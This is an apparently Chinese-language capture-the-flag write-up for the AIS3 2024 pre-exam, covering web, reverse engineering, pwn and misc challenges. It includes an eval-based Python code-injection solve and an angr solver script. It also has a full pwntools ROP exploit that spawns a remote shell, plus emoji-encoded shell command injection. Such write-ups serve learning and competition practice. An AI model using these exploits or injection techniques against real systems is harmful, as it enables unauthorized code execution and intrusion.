Web

Evil Calculator

網頁是一個簡單的計算機程式

image

透過攔截封包與 app.py 程式碼會發現他是將結果傳 POST 請求到 /calculate,並傳入 eval 做計算,所以可以傳入程式碼做解析,接下來看到 app.py 會發現傳送過去的 expression 空格跟底線都會被過濾,所以應該是不可以 import 其他東西,接下來看到 docker-compose.yml 可知 flag 在 /flag,因此直接透過開檔讀檔拿到 flag

app.py

 1from flask import Flask, request, jsonify, render_template
 2
 3app = Flask(__name__)
 4
 5@app.route('/calculate', methods=['POST'])
 6def calculate():
 7    data = request.json
 8    expression = data['expression'].replace(" ","").replace("_","")
 9    try:
10        result = eval(expression)
11    except Exception as e:
12        result = str(e)
13    return jsonify(result=str(result))
14
15@app.route('/')
16def index():
17    return render_template('index.html')
18
19if __name__ == '__main__':
20    app.run("0.0.0.0",5001)

docker-compose.yml

1services:
2  evil_calc:
3    build: .
4    volumes:
5      - ./app:/app:ro
6      - ./flag:/flag:ro
7    ports: 
8      - "5001:5001"

可以用 burp 或是 python

image

image

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

Rev

The Long Print

先 decompile 後 (可以用 ida、ghidra、binary ninja…) 會發現他會先 sleep 很久才會 print 出 flag

image

所以可以改 sleep 值然後 patch 接下來 export 成執行檔

先找到控制 sleep 秒數的組語然後右鍵 patch instruction

image

image

image

format 記得要設定成 Original File

image

接下來執行程式會發現它慢慢 print 出 flag,不過他輸出完會被清掉,所以要在最後的時候按 enter 防止他被清掉

image

AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース

將檔案 decompile 發現他會先分配給 buffer0~3 malloc 空間,然後會先進 print_flag(),然後要輸入 4 個字串,接下來進 xor_string(),和 complex_funxtion(),把字串轉換後再做最後比對

main function image

print_flag() 這邊會給出 flag 前墜 AIS3{G0D

image

xor_string()

就是把字串跟傳進去的陣列做 xor

image

complex_funxtion()

將傳入的參數做一些操作,好像也可以自己逆向,不過後面我選擇用 angr 做

image

MyFirstCTF 賽後出題者說可以用 Angr 解出來,因此就看了一下 Angr

而這邊因為是用 scanf 去讀字串且空間是 malloc 出來的關係,所以我們也必須手動模擬這一部分,然後因為 xor_string() 裡面有 call 到 sscanf(),所以我將開始的點設定為全部 xor_string() 走完之後,然後再手動做完 xor_string() 的部分

bAbunufgffrfeerr00mmaalllloocceeddaaddddrreessssfakeheapaddress

參考資料:https://blog.csdn.net/u013648063/article/details/108831809

找 buffer0~4 的 address (可以用 ghidra、ida,但我用 nm)

image

找到 heap 的 address (用 gdb 然後 vmmap)

image

傳入 xor_string() 的 array (用 ghidra 或是 ida)

image

 1import angr
 2import claripy
 3
 4def xor(s, key):
 5    return ''.join(chr(ord(a) ^ b) for a, b in zip(s, key))
 6
 7def main():
 8    start_addr = 0x080496ED
 9    p = angr.Project("./rage")
10
11    initial_state = p.factory.blank_state(addr=start_addr)
12    
13    length = 8
14
15    buffer0 = claripy.BVS("buffer0", length * 8)
16    buffer1 = claripy.BVS("buffer1", length * 8)
17    buffer2 = claripy.BVS("buffer2", length * 8)
18    buffer3 = claripy.BVS("buffer3", length * 8)
19    
20    buffer0_addr = 0x090fb2d4
21    buffer1_addr = 0x090fb2d8
22    buffer2_addr = 0x090fb2dc
23    buffer3_addr = 0x090fb2e0
24    fake_addr0 = 0x804d000
25    fake_addr1 = 0x804d010
26    fake_addr2 = 0x804d020
27    fake_addr3 = 0x804d030
28
29    initial_state.memory.store(buffer0_addr, fake_addr0, endness=p.arch.memory_endness)
30    initial_state.memory.store(buffer1_addr, fake_addr1, endness=p.arch.memory_endness)
31    initial_state.memory.store(buffer2_addr, fake_addr2, endness=p.arch.memory_endness)
32    initial_state.memory.store(buffer3_addr, fake_addr3, endness=p.arch.memory_endness)
33
34    initial_state.memory.store(fake_addr0, buffer0)
35    initial_state.memory.store(fake_addr1, buffer1)
36    initial_state.memory.store(fake_addr2, buffer2)
37    initial_state.memory.store(fake_addr3, buffer3)
38
39    simgr = p.factory.simgr(initial_state)
40
41    success = 0x08049859
42    simgr.explore(find=success)
43
44    if simgr.found:
45        solution_state = simgr.found[0]
46        solution0 = solution_state.solver.eval(buffer0, cast_to=bytes)
47        solution1 = solution_state.solver.eval(buffer1, cast_to=bytes)
48        solution2 = solution_state.solver.eval(buffer2, cast_to=bytes)
49        solution3 = solution_state.solver.eval(buffer3, cast_to=bytes)
50        xorarr0 = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
51        xorarr1 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]
52        xorarr2 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]
53        xorarr3 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
54        flag0 = xor(solution0.decode(), xorarr0)
55        flag1 = xor(solution1.decode(), xorarr1)
56        flag2 = xor(solution2.decode(), xorarr2)
57        flag3 = xor(solution3.decode(), xorarr3)
58        flag = "AIS3{G0D"+ flag0 + flag1 + flag2 + flag3
59        print(flag)
60
61if __name__ == "__main__":
62    main()

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

PWN

Mathter

static linked 的 ROP 超基本題

static linked

image

decompile 後發現進了 calculator()

image

calculator() 基本上計算沒什麼問題及注入點,不過可以按 q 跳出 function,接下來會走到 goodbye()

image

goodbye() 會看到他使用 gets 讀輸入,因此可以輕易進行 buffer overflow 並修改 return address,並加上他沒有 PIE,所以是一題 ROP 基本題

image image

solution:

先送 q 跳出 calculator(),接下來因為接收的字串宣告大小為 0x4,加上 save rbp 的 0x8,因此要先送 (0x4 + 0x8) 的字串,然後再串上 ROP Chain 就可以拿到 shell 了

 1from pwn import *
 2context.arch = 'amd64'
 3#r = process('./mathter')
 4r = remote('chals1.ais3.org', 50001)
 5r.sendlineafter(b': ', b'q')
 6rop = flat(
 7    0x00000000004126a3, # pop rsi ; ret
 8    0x4bc000, # writable address
 9    0x000000000042e3a7, # pop rax ; ret
10    b'/bin/sh\x00',
11    0x000000000042f981, # mov qword ptr [rsi], rax ; ret
12    0x000000000042e3a7, # pop rax ; ret
13    0x3b, # execve
14    0x0000000000402540, # pop rdi ; ret
15    0x4bc000, # writable address
16    0x00000000004126a3, # pop rsi ; ret
17    0x0, # NULL
18    0x000000000047b917, # pop rdx ; pop rbx ; ret
19    0x0, # NULL
20    0x0, # NULL
21    0x00000000004013ea, # syscall
22)
23leave = b'A' * (0x4 + 0x8) + rop
24r.sendlineafter(b']\n', leave)
25r.interactive()

image

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

Crypto

全都沒解

misc

Welcome

題目點開就有 flag 了

image

AIS3{Welc0me_to_AIS3_PreExam_2o24!}

Quantum Nim Heist

要先做一次正常輸入,讓 count 跟 pile 都被賦予值,不然會觸發 Exception error,後面可以用除了 0、1、2 以外的非正常操作讓自己跳過動作,但每次跳過 AI 都還是會做操作移除,所以等 AI 自己拿到剩下一堆時,就可以把最後一堆拿完也就獲勝並拿到 flag 了

image

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Emoji Console

打開網頁會發現是一個用 emoji 控制 command 的 console

image

找了一段時間發現有 🐱 跟 ⭐ 分別代表 cat*, 可以輸出目前目錄底下所有檔案

image

有輸出程式碼,裡面有各個 emoji 的對應,還有輸出以下字串

ccaatt::ftleamgp:laItsesa:dIisreactdoirryectory

由此可知,要先進到 flag 資料夾再看

然後剛好有 💿、🚩,分別對應 cd、flag 不過接下來要截斷指令才可以開啟內容,再慢慢思考發現 😓、🤬,對應的是;/#$%&!,串接起來會是;/#$%&!,正好可以用來截斷指令,再搭配前面的 🐱 跟 ⭐,可以看到以下檔案,會發現是 python 檔,用來開 flag 檔案的,所以要執行這個檔案

💿 🚩 😓🤬 🐱 ⭐:

image

#pfrliangt-(porpiennt(e'r/.fplyag','r').read())

🐍 對應到 python,所以可以串 🐍 ⭐ 執行所有檔案

💿 🚩 😓🤬 🐍 ⭐:

image

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Three Dimensional Secret

檔案是一個封包檔,不過我直接 strings 看他,會發現很多行都是這個格式,後面查了一下這個東西叫做 gcode,好像是用在 3D 列印 image

所以將所有 G 前墜的資料都挑出來放到另一個檔案

strings capture.pcapng|grep "G" > Gcode.gcode

後面隨便找個 gcode viewer,我這邊用的是 https://gcode.ws/ ,記得切換到 3D,然後就看到 flag 了

image

AIS3{b4d1y_tun3d_PriN73r}